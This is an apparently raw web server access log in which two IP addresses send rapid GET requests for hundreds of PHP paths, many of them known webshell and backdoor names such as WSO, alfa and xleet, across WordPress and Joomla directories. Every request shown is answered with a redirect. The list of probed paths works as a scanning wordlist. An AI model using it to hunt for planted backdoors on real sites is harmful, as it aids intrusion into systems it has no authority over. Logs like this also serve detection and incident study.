[27/Apr/2025:10:24:56 -0400] "GET /about.PHP HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:57 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:57 -0400] "GET /login/files.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:57 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:58 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:58 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:59 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:59 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:00 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:00 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:00 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:01 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:01 -0400] "GET /wp-content/plugins/ubh/1.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:02 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:02 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:03 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:03 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:03 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:04 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:04 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:05 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:05 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:06 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:06 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:07 -0400] "GET /mail_logs.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:07 -0400] "GET /.well-known/eror.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:08 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:08 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:09 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:09 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:10 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:10 -0400] "GET /contents.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:11 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:11 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:12 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:12 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:12 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:13 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:13 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:14 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:14 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:15 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:15 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:16 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:16 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:16 -0400] "GET /todo.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:17 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:17 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:18 -0400] "GET /wp-content/themes/seotheme/custom-plugin.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:18 -0400] "GET /wp-admin/css/colors/HaUaphPh.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:18 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:19 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:19 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:19 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:20 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:20 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:21 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:21 -0400] "GET /wp-content/themes/bltm/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:21 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:22 -0400] "GET /wp-admin/js/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:22 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:23 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:23 -0400] "GET /makeasmtp.php/payment.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:23 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:24 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:24 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:25 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:25 -0400] "GET /e69ovfsr.php/install.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:26 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:26 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:26 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:27 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:27 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:28 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:28 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:28 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:29 -0400] "GET /wp-content/plugins/fix/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:29 -0400] "GET /83064.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:29 -0400] "GET /.well-known/zwso.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:30 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:30 -0400] "GET /504.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:31 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:31 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:31 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:32 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:32 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:33 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:33 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:33 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:34 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:34 -0400] "GET /fosil.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:34 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:35 -0400] "GET /headerg.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:35 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:36 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:36 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:36 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:37 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:37 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:37 -0400] "GET /wp-content/plugins/idjnpjx/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:38 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:38 -0400] "GET /wp-content/plugins/linkpreview/custom-plugin.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:39 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:39 -0400] "GET /wp-includes/cqhnpmqs.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:39 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:40 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:41 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:41 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:41 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:42 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:42 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:42 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:43 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:43 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:44 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:44 -0400] "GET /wp-admin/axcjwclf.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:44 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:45 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:45 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:46 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:46 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:46 -0400] "GET /IDhrIlrLb.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:47 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:47 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:47 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:48 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:48 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:48 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:49 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:49 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:50 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:50 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:50 -0400] "GET /admin-heade.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:51 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:51 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:25:51 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:40 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:41 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:41 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:42 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:42 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:43 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:44 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:44 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:45 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:45 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:46 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:46 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:47 -0400] "GET /.well-known/cihjbmjk.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:47 -0400] "GET /wp-content/themes/newstoday/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:48 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:48 -0400] "GET /dav.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:49 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:50 -0400] "GET /extractable-loader-head.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:50 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:51 -0400] "GET /wp-content/plugins/zxmunes/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:51 -0400] "GET /BIBIL_0DAY.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:52 -0400] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:52 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:53 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:53 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:54 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:54 -0400] "GET /wq.php7 HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:55 -0400] "GET /wp-admin/images/profile.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:55 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:56 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:56 -0400] "GET /eNtnKM.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:57 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:58 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:58 -0400] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:59 -0400] "GET /wp-content/plugins/fancybox-for-wordpress/fancybox/termark/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:30:59 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:00 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:00 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:01 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:01 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:02 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:02 -0400] "GET /wp-admin/images/system.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:03 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:04 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:04 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:05 -0400] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:05 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:06 -0400] "GET /aleXus.php/cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:06 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:07 -0400] "GET /contentloader1.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:07 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:08 -0400] "GET /about/sxo.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:09 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:09 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:10 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:10 -0400] "GET /wp-content/plugins/pxkxbea/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:11 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:11 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:12 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:13 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:13 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:14 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:14 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:15 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:16 -0400] "GET /disagraeed.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:16 -0400] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:17 -0400] "GET /project/plugins/bootstrap-rtl/css/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:17 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:18 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:18 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:19 -0400] "GET /wp-includes/mtnidwgu.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:20 -0400] "GET /.well-known/worksec.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:20 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:21 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:21 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:22 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:22 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:23 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:23 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:24 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:24 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:25 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:25 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:26 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:26 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:27 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:27 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:28 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:29 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:29 -0400] "GET /depotcv.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:30 -0400] "GET /wp-admin/includes/xleet-shell.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:30 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:31 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:31 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:32 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - 